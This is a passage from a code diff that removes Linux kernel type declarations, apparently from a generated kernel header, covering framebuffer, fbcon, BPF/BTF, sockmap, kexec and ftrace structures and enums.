reserved[2]; -}; - -struct fb_bitfield { - __u32 offset; - __u32 length; - __u32 msb_right; -}; - -struct fb_var_screeninfo { - __u32 xres; - __u32 yres; - __u32 xres_virtual; - __u32 yres_virtual; - __u32 xoffset; - __u32 yoffset; - __u32 bits_per_pixel; - __u32 grayscale; - struct fb_bitfield red; - struct fb_bitfield green; - struct fb_bitfield blue; - struct fb_bitfield transp; - __u32 nonstd; - __u32 activate; - __u32 height; - __u32 width; - __u32 accel_flags; - __u32 pixclock; - __u32 left_margin; - __u32 right_margin; - __u32 upper_margin; - __u32 lower_margin; - __u32 hsync_len; - __u32 vsync_len; - __u32 sync; - __u32 vmode; - __u32 rotate; - __u32 colorspace; - __u32 reserved[4]; -}; - -struct fb_cmap { - __u32 start; - __u32 len; - __u16 *red; - __u16 *green; - __u16 *blue; - __u16 *transp; -}; - -struct fb_copyarea { - __u32 dx; - __u32 dy; - __u32 width; - __u32 height; - __u32 sx; - __u32 sy; -}; - -struct fb_fillrect { - __u32 dx; - __u32 dy; - __u32 width; - __u32 height; - __u32 color; - __u32 rop; -}; - -struct fb_image { - __u32 dx; - __u32 dy; - __u32 width; - __u32 height; - __u32 fg_color; - __u32 bg_color; - __u8 depth; - const char *data; - struct fb_cmap cmap; -}; - -struct fbcurpos { - __u16 x; - __u16 y; -}; - -struct fb_cursor { - __u16 set; - __u16 enable; - __u16 rop; - const char *mask; - struct fbcurpos hot; - struct fb_image image; -}; - -struct fb_chroma { - __u32 redx; - __u32 greenx; - __u32 bluex; - __u32 whitex; - __u32 redy; - __u32 greeny; - __u32 bluey; - __u32 whitey; -}; - -struct fb_videomode; - -struct fb_monspecs { - struct fb_chroma chroma; - struct fb_videomode *modedb; - __u8 manufacturer[4]; - __u8 monitor[14]; - __u8 serial_no[14]; - __u8 ascii[14]; - __u32 modedb_len; - __u32 model; - __u32 serial; - __u32 year; - __u32 week; - __u32 hfmin; - __u32 hfmax; - __u32 dclkmin; - __u32 dclkmax; - __u16 input; - __u16 dpms; - __u16 signal; - __u16 vfmin; - __u16 vfmax; - __u16 gamma; - __u16 gtf: 1; - __u16 misc; - __u8 version; - __u8 revision; - __u8 max_x; - __u8 max_y; -}; - -struct fb_info; - -struct fb_pixmap { - u8 *addr; - u32 size; - u32 offset; - u32 buf_align; - u32 scan_align; - u32 access_align; - u32 flags; - u32 blit_x; - u32 blit_y; - void (*writeio)(struct fb_info *, void *, void *, unsigned int); - void (*readio)(struct fb_info *, void *, void *, unsigned int); -}; - -struct fb_ops; - -struct fb_tile_ops; - -struct apertures_struct; - -struct fb_info { - refcount_t count; - int node; - int flags; - int fbcon_rotate_hint; - struct mutex lock; - struct mutex mm_lock; - struct fb_var_screeninfo var; - struct fb_fix_screeninfo fix; - struct fb_monspecs monspecs; - struct fb_pixmap pixmap; - struct fb_pixmap sprite; - struct fb_cmap cmap; - struct list_head modelist; - struct fb_videomode *mode; - const struct fb_ops *fbops; - struct device *device; - struct device *dev; - int class_flag; - struct fb_tile_ops *tileops; - union { - char *screen_base; - char *screen_buffer; - }; - long unsigned int screen_size; - void *pseudo_palette; - u32 state; - void *fbcon_par; - void *par; - struct apertures_struct *apertures; - bool skip_vt_switch; -}; - -struct fb_videomode { - const char *name; - u32 refresh; - u32 xres; - u32 yres; - u32 pixclock; - u32 left_margin; - u32 right_margin; - u32 upper_margin; - u32 lower_margin; - u32 hsync_len; - u32 vsync_len; - u32 sync; - u32 vmode; - u32 flag; -}; - -struct fb_blit_caps { - u32 x; - u32 y; - u32 len; - u32 flags; -}; - -struct fb_ops { - struct module *owner; - int (*fb_open)(struct fb_info *, int); - int (*fb_release)(struct fb_info *, int); - ssize_t (*fb_read)(struct fb_info *, char *, size_t, loff_t *); - ssize_t (*fb_write)(struct fb_info *, const char *, size_t, loff_t *); - int (*fb_check_var)(struct fb_var_screeninfo *, struct fb_info *); - int (*fb_set_par)(struct fb_info *); - int (*fb_setcolreg)(unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, struct fb_info *); - int (*fb_setcmap)(struct fb_cmap *, struct fb_info *); - int (*fb_blank)(int, struct fb_info *); - int (*fb_pan_display)(struct fb_var_screeninfo *, struct fb_info *); - void (*fb_fillrect)(struct fb_info *, const struct fb_fillrect *); - void (*fb_copyarea)(struct fb_info *, const struct fb_copyarea *); - void (*fb_imageblit)(struct fb_info *, const struct fb_image *); - int (*fb_cursor)(struct fb_info *, struct fb_cursor *); - int (*fb_sync)(struct fb_info *); - int (*fb_ioctl)(struct fb_info *, unsigned int, long unsigned int); - int (*fb_compat_ioctl)(struct fb_info *, unsigned int, long unsigned int); - int (*fb_mmap)(struct fb_info *, struct vm_area_struct *); - void (*fb_get_caps)(struct fb_info *, struct fb_blit_caps *, struct fb_var_screeninfo *); - void (*fb_destroy)(struct fb_info *); - int (*fb_debug_enter)(struct fb_info *); - int (*fb_debug_leave)(struct fb_info *); -}; - -struct fb_tilemap { - __u32 width; - __u32 height; - __u32 depth; - __u32 length; - const __u8 *data; -}; - -struct fb_tilerect { - __u32 sx; - __u32 sy; - __u32 width; - __u32 height; - __u32 index; - __u32 fg; - __u32 bg; - __u32 rop; -}; - -struct fb_tilearea { - __u32 sx; - __u32 sy; - __u32 dx; - __u32 dy; - __u32 width; - __u32 height; -}; - -struct fb_tileblit { - __u32 sx; - __u32 sy; - __u32 width; - __u32 height; - __u32 fg; - __u32 bg; - __u32 length; - __u32 *indices; -}; - -struct fb_tilecursor { - __u32 sx; - __u32 sy; - __u32 mode; - __u32 shape; - __u32 fg; - __u32 bg; -}; - -struct fb_tile_ops { - void (*fb_settile)(struct fb_info *, struct fb_tilemap *); - void (*fb_tilecopy)(struct fb_info *, struct fb_tilearea *); - void (*fb_tilefill)(struct fb_info *, struct fb_tilerect *); - void (*fb_tileblit)(struct fb_info *, struct fb_tileblit *); - void (*fb_tilecursor)(struct fb_info *, struct fb_tilecursor *); - int (*fb_get_tilemax)(struct fb_info *); -}; - -struct aperture { - resource_size_t base; - resource_size_t size; -}; - -struct apertures_struct { - unsigned int count; - struct aperture ranges[0]; -}; - -struct fbcon_display { - const u_char *fontdata; - int userfont; - u_short inverse; - short int yscroll; - int vrows; - int cursor_shape; - int con_rotate; - u32 xres_virtual; - u32 yres_virtual; - u32 height; - u32 width; - u32 bits_per_pixel; - u32 grayscale; - u32 nonstd; - u32 accel_flags; - u32 rotate; - struct fb_bitfield red; - struct fb_bitfield green; - struct fb_bitfield blue; - struct fb_bitfield transp; - const struct fb_videomode *mode; -}; - -struct fbcon_ops { - void (*bmove)(struct vc_data *, struct fb_info *, int, int, int, int, int, int); - void (*clear)(struct vc_data *, struct fb_info *, int, int, int, int); - void (*putcs)(struct vc_data *, struct fb_info *, const short unsigned int *, int, int, int, int, int); - void (*clear_margins)(struct vc_data *, struct fb_info *, int, int); - void (*cursor)(struct vc_data *, struct fb_info *, int, int, int); - int (*update_start)(struct fb_info *); - int (*rotate_font)(struct fb_info *, struct vc_data *); - struct fb_var_screeninfo var; - struct delayed_work cursor_work; - struct fb_cursor cursor_state; - struct fbcon_display *p; - struct fb_info *info; - int currcon; - int cur_blink_jiffies; - int cursor_flash; - int cursor_reset; - int blank_state; - int graphics; - int save_graphics; - bool initialized; - int rotate; - int cur_rotate; - char *cursor_data; - u8 *fontbuffer; - u8 *fontdata; - u8 *cursor_src; - u32 cursor_size; - u32 fd_size; -}; - -typedef enum { - ACPI_IMODE_LOAD_PASS1 = 1, - ACPI_IMODE_LOAD_PASS2 = 2, - ACPI_IMODE_EXECUTE = 3, -} acpi_interpreter_mode; - -struct acpi_address_range { - struct acpi_address_range *next; - struct acpi_namespace_node *region_node; - acpi_physical_address start_address; - acpi_physical_address end_address; -}; - -struct miscdevice { - int minor; - const char *name; - const struct file_operations *fops; - struct list_head list; - struct device *parent; - struct device *this_device; - const struct attribute_group **groups; - const char *nodename; - umode_t mode; -}; - -struct software_node_ref_args { - const struct software_node *node; - unsigned int nargs; - u64 args[8]; -}; - -struct swnode { - struct kobject kobj; - struct fwnode_handle fwnode; - const struct software_node *node; - int id; - struct ida child_ids; - struct list_head entry; - struct list_head children; - struct swnode *parent; - unsigned int allocated: 1; - unsigned int managed: 1; -}; - -struct sk_psock_progs { - struct bpf_prog *msg_parser; - struct bpf_prog *stream_parser; - struct bpf_prog *stream_verdict; - struct bpf_prog *skb_verdict; -}; - -struct strp_stats { - long long unsigned int msgs; - long long unsigned int bytes; - unsigned int mem_fail; - unsigned int need_more_hdr; - unsigned int msg_too_big; - unsigned int msg_timeouts; - unsigned int bad_hdr_len; -}; - -struct strparser; - -struct strp_callbacks { - int (*parse_msg)(struct strparser *, struct sk_buff *); - void (*rcv_msg)(struct strparser *, struct sk_buff *); - int (*read_sock_done)(struct strparser *, int); - void (*abort_parser)(struct strparser *, int); - void (*lock)(struct strparser *); - void (*unlock)(struct strparser *); -}; - -struct strparser { - struct sock *sk; - u32 stopped: 1; - u32 paused: 1; - u32 aborted: 1; - u32 interrupted: 1; - u32 unrecov_intr: 1; - struct sk_buff **skb_nextp; - struct sk_buff *skb_head; - unsigned int need_bytes; - struct delayed_work msg_timer_work; - struct work_struct work; - struct strp_stats stats; - struct strp_callbacks cb; -}; - -struct sk_psock_work_state { - struct sk_buff *skb; - u32 len; - u32 off; -}; - -struct sk_msg; - -struct sk_psock { - struct sock *sk; - struct sock *sk_redir; - u32 apply_bytes; - u32 cork_bytes; - u32 eval; - bool redir_ingress; - struct sk_msg *cork; - struct sk_psock_progs progs; - struct strparser strp; - struct sk_buff_head ingress_skb; - struct list_head ingress_msg; - spinlock_t ingress_lock; - long unsigned int state; - struct list_head link; - spinlock_t link_lock; - refcount_t refcnt; - void (*saved_unhash)(struct sock *); - void (*saved_destroy)(struct sock *); - void (*saved_close)(struct sock *, long int); - void (*saved_write_space)(struct sock *); - void (*saved_data_ready)(struct sock *); - int (*psock_update_sk_prot)(struct sock *, struct sk_psock *, bool); - struct proto *sk_proto; - struct mutex work_mutex; - struct sk_psock_work_state work_state; - struct work_struct work; - struct rcu_work rwork; -}; - -struct sk_msg_sg { - u32 start; - u32 curr; - u32 end; - u32 size; - u32 copybreak; - long unsigned int copy[1]; - struct scatterlist data[19]; -}; - -struct sk_msg { - struct sk_msg_sg sg; - void *data; - void *data_end; - u32 apply_bytes; - u32 cork_bytes; - u32 flags; - struct sk_buff *skb; - struct sock *sk_redir; - struct sock *sk; - struct list_head list; -}; - -struct calipso_doi; - -struct netlbl_calipso_ops { - int (*doi_add)(struct calipso_doi *, struct netlbl_audit *); - void (*doi_free)(struct calipso_doi *); - int (*doi_remove)(u32, struct netlbl_audit *); - struct calipso_doi * (*doi_getdef)(u32); - void (*doi_putdef)(struct calipso_doi *); - int (*doi_walk)(u32 *, int (*)(struct calipso_doi *, void *), void *); - int (*sock_getattr)(struct sock *, struct netlbl_lsm_secattr *); - int (*sock_setattr)(struct sock *, const struct calipso_doi *, const struct netlbl_lsm_secattr *); - void (*sock_delattr)(struct sock *); - int (*req_setattr)(struct request_sock *, const struct calipso_doi *, const struct netlbl_lsm_secattr *); - void (*req_delattr)(struct request_sock *); - int (*opt_getattr)(const unsigned char *, struct netlbl_lsm_secattr *); - unsigned char * (*skbuff_optptr)(const struct sk_buff *); - int (*skbuff_setattr)(struct sk_buff *, const struct calipso_doi *, const struct netlbl_lsm_secattr *); - int (*skbuff_delattr)(struct sk_buff *); - void (*cache_invalidate)(); - int (*cache_add)(const unsigned char *, const struct netlbl_lsm_secattr *); -}; - -struct calipso_doi { - u32 doi; - u32 type; - refcount_t refcount; - struct list_head list; - struct callback_head rcu; -}; - -struct calipso_map_cache_bkt { - spinlock_t lock; - u32 size; - struct list_head list; -}; - -struct calipso_map_cache_entry { - u32 hash; - unsigned char *key; - size_t key_len; - struct netlbl_lsm_cache *lsm_data; - u32 activity; - struct list_head list; -}; - -enum page_cache_mode { - _PAGE_CACHE_MODE_WB = 0, - _PAGE_CACHE_MODE_WC = 1, - _PAGE_CACHE_MODE_UC_MINUS = 2, - _PAGE_CACHE_MODE_UC = 3, - _PAGE_CACHE_MODE_WT = 4, - _PAGE_CACHE_MODE_WP = 5, - _PAGE_CACHE_MODE_NUM = 8, -}; - -enum apic_intr_mode_id { - APIC_PIC = 0, - APIC_VIRTUAL_WIRE = 1, - APIC_VIRTUAL_WIRE_NO_CONFIG = 2, - APIC_SYMMETRIC_IO = 3, - APIC_SYMMETRIC_IO_NO_ROUTING = 4, -}; - -union apic_ir { - long unsigned int map[4]; - u32 regs[8]; -}; - -enum kernel_load_data_id { - LOADING_UNKNOWN = 0, - LOADING_FIRMWARE = 1, - LOADING_MODULE = 2, - LOADING_KEXEC_IMAGE = 3, - LOADING_KEXEC_INITRAMFS = 4, - LOADING_POLICY = 5, - LOADING_X509_CERTIFICATE = 6, - LOADING_MAX_ID = 7, -}; - -struct kimage_arch { - p4d_t *p4d; - pud_t *pud; - pmd_t *pmd; - pte_t *pte; -}; - -typedef long unsigned int kimage_entry_t; - -struct kexec_segment { - union { - void *buf; - void *kbuf; - }; - size_t bufsz; - long unsigned int mem; - size_t memsz; -}; - -struct kimage { - kimage_entry_t head; - kimage_entry_t *entry; - kimage_entry_t *last_entry; - long unsigned int start; - struct page *control_code_page; - struct page *swap_page; - void *vmcoreinfo_data_copy; - long unsigned int nr_segments; - struct kexec_segment segment[16]; - struct list_head control_pages; - struct list_head dest_pages; - struct list_head unusable_pages; - long unsigned int control_page; - unsigned int type: 1; - unsigned int preserve_context: 1; - unsigned int file_mode: 1; - struct kimage_arch arch; - void *elf_headers; - long unsigned int elf_headers_sz; - long unsigned int elf_load_addr; -}; - -enum { - FTRACE_OPS_FL_ENABLED = 1, - FTRACE_OPS_FL_DYNAMIC = 2, - FTRACE_OPS_FL_SAVE_REGS = 4, - FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED = 8, - FTRACE_OPS_FL_RECURSION = 16, - FTRACE_OPS_FL_STUB = 32, - FTRACE_OPS_FL_INITIALIZED = 64, - FTRACE_OPS_FL_DELETED = 128, - FTRACE_OPS_FL_ADDING = 256, - FTRACE_OPS_FL_REMOVING = 512, - FTRACE_OPS_FL_MODIFYING = 1024, - FTRACE_OPS_FL_ALLOC_TRAMP = 2048, - FTRACE_OPS_FL_IPMODIFY = 4096, - FTRACE_OPS_FL_PID = 8192, - FTRACE_OPS_FL_RCU = 16384, - FTRACE_OPS_FL_TRACE_ARRAY = 32768, - FTRACE_OPS_FL_PERMANENT = 65536, - FTRACE_OPS_FL_DIRECT = 131072, -}; - -enum { - FTRACE_UPDATE_CALLS = 1, - FTRACE_DISABLE_CALLS = 2, - FTRACE_UPDATE_TRACE_FUNC = 4, - FTRACE_START_FUNC_RET = 8, - FTRACE_STOP_FUNC_RET = 16, - FTRACE_MAY_SLEEP = 32, -}; - -struct ftrace_graph_ent { - long unsigned int func; - int depth; -} __attribute__((packed)); - -struct ftrace_graph_ret { - long unsigned int func; - int depth; - unsigned int overrun; - long long unsigned int calltime; - long long unsigned int rettime; -}; - -typedef void (*trace_func_graph_ret_t)(struct ftrace_graph_ret *); - -typedef int (*trace_func_graph_ent_t)(struct ftrace_graph_ent *); - -struct fgraph_ops { - trace_func_graph_ent_t entryfunc; - trace_func_graph_ret_t retfunc; -}; - -typedef void (*bpf_insn_print_t)(void *, const char *, ...); - -typedef const char * (*bpf_insn_revmap_call_t)(void *, const struct bpf_insn *); - -typedef const char * (*bpf_insn_print_imm_t)(void *, const struct bpf_insn *, __u64); - -struct bpf_insn_cbs { - bpf_insn_print_t cb_print; - bpf_insn_revmap_call_t cb_call; - bpf_insn_print_imm_t cb_imm; - void *private_data; -}; - -typedef void (*swap_r_func_t)(void *, void *, int, const void *); - -typedef int (*cmp_r_func_t)(const void *, const void *, const void *); - -struct btf_enum { - __u32 name_off; - __s32 val; -}; - -struct btf_array { - __u32 type; - __u32 index_type; - __u32 nelems; -}; - -struct btf_param { - __u32 name_off; - __u32 type; -}; - -enum { - BTF_VAR_STATIC = 0, - BTF_VAR_GLOBAL_ALLOCATED = 1, - BTF_VAR_GLOBAL_EXTERN = 2, -}; - -enum btf_func_linkage { - BTF_FUNC_STATIC = 0, - BTF_FUNC_GLOBAL = 1, - BTF_FUNC_EXTERN = 2, -}; - -struct btf_var { - __u32 linkage; -}; - -struct btf_var_secinfo { - __u32 type; - __u32 offset; - __u32 size; -}; - -struct btf_decl_tag { - __s32 component_idx; -}; - -struct btf_enum64 { - __u32 name_off; - __u32 val_lo32; - __u32 val_hi32; -}; - -struct xdp_md { - __u32 data; - __u32 data_end; - __u32 data_meta; - __u32 ingress_ifindex; - __u32 rx_queue_index; - __u32 egress_ifindex; -}; - -struct sk_msg_md { - union { - void *data; - }; - union { - void *data_end; - }; - __u32 family; - __u32 remote_ip4; - __u32 local_ip4; - __u32 remote_ip6[4]; - __u32 local_ip6[4]; - __u32 remote_port; - __u32 local_port; - __u32 size; - union { - struct bpf_sock *sk; - }; -}; - -struct sk_reuseport_md { - union { - void *data; - }; - union { - void *data_end; - }; - __u32 len; - __u32 eth_protocol; - __u32 ip_protocol; - __u32 bind_inany; - __u32 hash; - union { - struct bpf_sock *sk; - }; - union { - struct bpf_sock *migrating_sk; - }; -}; - -struct bpf_sock_addr { - __u32 user_family; - __u32 user_ip4; - __u32 user_ip6[4]; - __u32 user_port; - __u32 family; - __u32 type; - __u32 protocol; - __u32 msg_src_ip4; - __u32 msg_src_ip6[4]; - union { - struct bpf_sock *sk; - }; -}; - -struct bpf_sock_ops { - __u32 op; - union { - __u32 args[4]; - __u32 reply; - __u32 replylong[4]; - }; - __u32 family; - __u32 remote_ip4; - __u32 local_ip4; - __u32 remote_ip6[4]; - __u32 local_ip6[4]; - __u32 remote_port; - __u32 local_port; - __u32 is_fullsock; - __u32 snd_cwnd; - __u32 srtt_us; - __u32 bpf_sock_ops_cb_flags; - __u32 state; - __u32 rtt_min; - __u32 snd_ssthresh; - __u32 rcv_nxt; - __u32 snd_nxt; - __u32 snd_una; - __u32 mss_cache; - __u32 ecn_flags; - __u32 rate_delivered; - __u32 rate_interval_us; - __u32 packets_out; - __u32 retrans_out; - __u32 total_retrans; - __u32 segs_in; - __u32 data_segs_in; - __u32 segs_out; - __u32 data_segs_out; - __u32 lost_out; - __u32 sacked_out; - __u32 sk_txhash; - __u64 bytes_received; - __u64 bytes_acked; - union { - struct bpf_sock *sk; - }; - union { - void *skb_data; - }; - union { - void *skb_data_end; - }; - __u32 skb_len; - __u32 skb_tcp_flags; - __u64 skb_hwtstamp; -}; - -struct bpf_cgroup_dev_ctx { - __u32 access_type; - __u32 major; - __u32 minor; -}; - -struct bpf_raw_tracepoint_args { - __u64 args[0]; -}; - -struct bpf_sysctl { - __u32 write; - __u32 file_pos; -}; - -struct bpf_sockopt { - union { - struct bpf_sock *sk; - }; - union { - void *optval; - }; - union { - void *optval_end; - }; - __s32 level; - __s32 optname; - __s32 optlen; - __s32 retval; -}; - -struct bpf_sk_lookup { - union { - union { - struct bpf_sock *sk; - }; - __u64 cookie; - }; - __u32 family; - __u32 protocol; - __u32 remote_ip4; - __u32 remote_ip6[4]; - __be16 remote_port; - __u32 local_ip4; - __u32 local_ip6[4]; - __u32 local_port; - __u32 ingress_ifindex; -}; - -enum { - BTF_F_COMPACT = 1, - BTF_F_NONAME = 2, - BTF_F_PTR_RAW = 4, - BTF_F_ZERO = 8, -}; - -enum bpf_core_relo_kind { - BPF_CORE_FIELD_BYTE_OFFSET = 0, - BPF_CORE_FIELD_BYTE_SIZE = 1, - BPF_CORE_FIELD_EXISTS = 2, - BPF_CORE_FIELD_SIGNED = 3, - BPF_CORE_FIELD_LSHIFT_U64 = 4, - BPF_CORE_FIELD_RSHIFT_U64 = 5, - BPF_CORE_TYPE_ID_LOCAL = 6, - BPF_CORE_TYPE_ID_TARGET = 7, - BPF_CORE_TYPE_EXISTS = 8, - BPF_CORE_TYPE_SIZE = 9, - BPF_CORE_ENUMVAL_EXISTS = 10, - BPF_CORE_ENUMVAL_VALUE = 11, - BPF_CORE_TYPE_MATCHES = 12, -}; - -struct bpf_core_relo { - __u32 insn_off; - __u32 type_id; - __u32 access_str_off; - enum bpf_core_relo_kind kind; -}; - -typedef struct pt_regs bpf_user_pt_regs_t; - -struct bpf_perf_event_data { - bpf_user_pt_regs_t regs; - __u64 sample_period; - __u64 addr; -}; - -struct btf_id_set { - u32 cnt; - u32 ids[0]; -}; - -struct btf_struct_metas { - u32 cnt; - struct btf_struct_meta types[0]; -}; - -struct bpf_core_ctx { - struct bpf_verifier_log *log; - const struct btf *btf; -}; - -struct sk_reuseport_kern { - struct sk_buff *skb; - struct sock *sk; - struct sock *selected_sk; - struct sock *migrating_sk; - void *data_end; - u32 hash; - u32 reuseport_id; - bool bind_inany; -}; - -struct bpf_flow_dissector { - struct bpf_flow_keys *flow_keys; - const struct sk_buff *skb; - const void *data; - const void *data_end; -}; - -struct bpf_sock_addr_kern { - struct sock *sk; - struct sockaddr *uaddr; - u64 tmp_reg; - void *t_ctx; -}; - -struct bpf_sock_ops_kern { - struct sock *sk; - union { - u32 args[4]; - u32 reply; - u32 replylong[4]; - }; - struct sk_buff *syn_skb; - struct sk_buff *skb; - void *skb_data_end; - u8 op; - u8 is_fullsock; - u8 remaining_opt_len; - u64 temp; -}; - -struct bpf_sysctl_kern { - struct ctl_table_header *head; - struct ctl_table *table; - void *cur_val; - size_t cur_len; - void *new_val; - size_t new_len; - int new_updated; - int write; - loff_t *ppos; - u64 tmp_reg; -}; - -struct bpf_sockopt_kern { - struct sock *sk; - u8 *optval; - u8 *optval_end; - s32 level; - s32 optname; - s32 optlen; - struct task_struct *current_task; - u64 tmp_reg; -}; - -struct bpf_perf_event_data_kern { - bpf_user_pt_regs_t *regs; - struct perf_sample_data *data; - struct perf_event *event; -}; - -struct bpf_core_cand { - const struct btf *btf; - __u32 id; -}; - -struct bpf_core_cand_list { - struct bpf_core_cand *cands; - int len; -}; - -struct bpf_core_accessor { - __u32 type_id; - __u32 idx; - const char *name; -}; - -struct bpf_core_spec { - const struct btf *btf; - struct bpf_core_accessor spec[64]; - __u32 root_type_id; - enum bpf_core_relo_kind relo_kind; - int len; - int raw_spec[64]; - int raw_len; - __u32 bit_offset; -}; - -struct bpf_core_relo_res { - __u64 orig_val; - __u64 new_val; - bool poison; - bool validate; - bool fail_memsz_adjust; - __u32 orig_sz; - __u32 orig_type_id; - __u32 new_sz; - __u32 new_type_id; -}; - -enum btf_kfunc_hook { - BTF_KFUNC_HOOK_COMMON = 0, - BTF_KFUNC_HOOK_XDP = 1, - BTF_KFUNC_HOOK_TC = 2, - BTF_KFUNC_HOOK_STRUCT_OPS = 3, - BTF_KFUNC_HOOK_TRACING = 4, - BTF_KFUNC_HOOK_SYSCALL = 5, - BTF_KFUNC_HOOK_FMODRET = 6, - BTF_KFUNC_HOOK_MAX = 7, -}; - -enum { - BTF_KFUNC_SET_MAX_CNT = 256, - BTF_DTOR_KFUNC_MAX_CNT = 256, -}; - -struct btf_kfunc_set_tab { - struct btf_id_set8 *sets[7]; -}; - -struct btf_id_dtor_kfunc_tab { - u32 cnt; - struct btf_id_dtor_kfunc dtors[0]; -}; - -enum verifier_phase { - CHECK_META = 0, - CHECK_TYPE = 1, -}; - -struct resolve_vertex { - const struct btf_type *t; - u32 type_id; - u16 next_member; -}; - -enum visit_state { - NOT_VISITED = 0, - VISITED = 1, - RESOLVED = 2, -}; - -enum resolve_mode { - RESOLVE_TBD = 0, - RESOLVE_PTR = 1, - RESOLVE_STRUCT_OR_ARRAY = 2, -}; - -struct btf_sec_info { - u32 off; - u32 len; -}; - -struct btf_verifier_env { - struct btf *btf; - u8 *visit_states; - struct resolve_vertex stack[32]; - struct bpf_verifier_log log; - u32 log_type_id; - u32 top_stack; - enum verifier_phase phase; - enum resolve_mode resolve_mode; -}; - -struct btf_show { - u64 flags; - void *target; - void (*showfn)(struct btf_show *, const char *, struct __va_list_tag *); - const struct btf *btf; - struct { - u8 depth; - u8 depth_to_show; - u8 depth_check; - u8 array_member: 1; - u8 array_terminated: 1; - u16 array_encoding; - u32 type_id; - int status; - const struct btf_type *type; - const struct btf_member *member; - char name[80]; - } state; - struct { - u32 size; - void *head; - void *data; - u8 safe[32]; - } obj; -}; - -struct btf_kind_operations { - s32 (*check_meta)(struct btf_verifier_env *, const struct btf_type *, u32); - int (*resolve)(struct btf_verifier_env *, const struct resolve_vertex *); - int (*check_member)(struct btf_verifier_env *, const struct btf_type *, const struct btf_member *, const struct btf_type *); - int (*check_kflag_member)(struct btf_verifier_env *, const struct btf_type *, const struct btf_member *, const struct btf_type *); - void (*log_details)(struct btf_verifier_env *, const struct btf_type *); - void (*show)(const struct btf *, const struct btf_type *, u32, void *, u8, struct btf_show *); -}; - -enum { - BTF_FIELD_IGNORE = 0, - BTF_FIELD_FOUND = 1, -}; - -struct btf_field_info { - enum btf_field_type type; - u32 off; - union { - struct { - u32 type_id; - } kptr; - struct { - const char *node_name; - u32 value_btf_id; - } list_head; - }; -}; - -struct bpf_ctx_convert { - struct __sk_buff BPF_PROG_TYPE_SOCKET_FILTER_prog; - struct sk_buff BPF_PROG_TYPE_SOCKET_FILTER_kern; - struct __sk_buff BPF_PROG_TYPE_SCHED_CLS_prog; - struct sk_buff BPF_PROG_TYPE_SCHED_CLS_kern; - struct __sk_buff BPF_PROG_TYPE_SCHED_ACT_prog; - struct sk_buff BPF_PROG_TYPE_SCHED_ACT_kern; - struct xdp_md BPF_PROG_TYPE_XDP_prog; - struct xdp_buff BPF_PROG_TYPE_XDP_kern; - struct __sk_buff BPF_PROG_TYPE_CGROUP_SKB_prog; - struct sk_buff BPF_PROG_TYPE_CGROUP_SKB_kern; - struct bpf_sock BPF_PROG_TYPE_CGROUP_SOCK_prog; - struct sock BPF_PROG_TYPE_CGROUP_SOCK_kern; - struct bpf_sock_addr BPF_PROG_TYPE_CGROUP_SOCK_ADDR_prog; - struct bpf_sock_addr_kern BPF_PROG_TYPE_CGROUP_SOCK_ADDR_kern; - struct __sk_buff BPF_PROG_TYPE_LWT_IN_prog; - struct sk_buff BPF_PROG_TYPE_LWT_IN_kern; - struct __sk_buff BPF_PROG_TYPE_LWT_OUT_prog; - struct sk_buff BPF_PROG_TYPE_LWT_OUT_kern; - struct __sk_buff BPF_PROG_TYPE_LWT_XMIT_prog; - struct sk_buff BPF_PROG_TYPE_LWT_XMIT_kern; - struct __sk_buff BPF_PROG_TYPE_LWT_SEG6LOCAL_prog; - struct sk_buff BPF_PROG_TYPE_LWT_SEG6LOCAL_kern; - struct bpf_sock_ops BPF_PROG_TYPE_SOCK_OPS_prog; - struct bpf_sock_ops_kern BPF_PROG_TYPE_SOCK_OPS_kern; - struct __sk_buff BPF_PROG_TYPE_SK_SKB_prog; - struct sk_buff BPF_PROG_TYPE_SK_SKB_kern; - struct sk_msg_md BPF_PROG_TYPE_SK_MSG_prog; - struct sk_msg BPF_PROG_TYPE_SK_MSG_kern; - struct __sk_buff BPF_PROG_TYPE_FLOW_DISSECTOR_prog; - struct bpf_flow_dissector BPF_PROG_TYPE_FLOW_DISSECTOR_kern; - bpf_user_pt_regs_t BPF_PROG_TYPE_KPROBE_prog; - struct pt_regs BPF_PROG_TYPE_KPROBE_kern; - __u64 BPF_PROG_TYPE_TRACEPOINT_prog; - u64 BPF_PROG_TYPE_TRACEPOINT_kern; - struct bpf_perf_event_data BPF_PROG_TYPE_PERF_EVENT_prog; - struct bpf_perf_event_data_kern BPF_PROG_TYPE_PERF_EVENT_kern; - struct bpf_raw_tracepoint_args BPF_PROG_TYPE_RAW_TRACEPOINT_prog; - u64 BPF_PROG_TYPE_RAW_TRACEPOINT_kern; - struct bpf_raw_tracepoint_args BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE_prog; - u64 BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE_kern; - void *BPF_PROG_TYPE_TRACING_prog; - void *BPF_PROG_TYPE_TRACING_kern; - struct bpf_cgroup_dev_ctx BPF_PROG_TYPE_CGROUP_DEVICE_prog; - struct bpf_cgroup_dev_ctx BPF_PROG_TYPE_CGROUP_DEVICE_kern; - struct bpf_sysctl BPF_PROG_TYPE_CGROUP_SYSCTL_prog; - struct bpf_sysctl_kern BPF_PROG_TYPE_CGROUP_SYSCTL_kern; - struct bpf_sockopt BPF_PROG_TYPE_CGROUP_SOCKOPT_prog; - struct bpf_sockopt_kern BPF_PROG_TYPE_CGROUP_SOCKOPT_kern; - __u32 BPF_PROG_TYPE_LIRC_MODE2_prog; - u32 BPF_PROG_TYPE_LIRC_MODE2_kern; - struct sk_reuseport_md BPF_PROG_TYPE_SK_REUSEPORT_prog; - struct sk_reuseport_kern BPF_PROG_TYPE_SK_REUSEPORT_kern; - struct bpf_sk_lookup BPF_PROG_TYPE_SK_LOOKUP_prog; - struct bpf_sk_lookup_kern BPF_PROG_TYPE_SK_LOOKUP_kern; - void *BPF_PROG_TYPE_STRUCT_OPS_prog; - void *BPF_PROG_TYPE_STRUCT_OPS_kern; - void *BPF_PROG_TYPE_EXT_prog; - void *BPF_PROG_TYPE_EXT_kern; - void *BPF_PROG_TYPE_LSM_prog; - void *BPF_PROG_TYPE_LSM_kern; - void *BPF_PROG_TYPE_SYSCALL_prog; - void *BPF_PROG_TYPE_SYSCALL_kern; -}; - -enum { - __ctx_convertBPF_PROG_TYPE_SOCKET_FILTER = 0, - __ctx_convertBPF_PROG_TYPE_SCHED_CLS = 1, - __ctx_convertBPF_PROG_TYPE_SCHED_ACT = 2, - __ctx_convertBPF_PROG_TYPE_XDP = 3, - __ctx_convertBPF_PROG_TYPE_CGROUP_SKB = 4, - __ctx_convertBPF_PROG_TYPE_CGROUP_SOCK = 5, 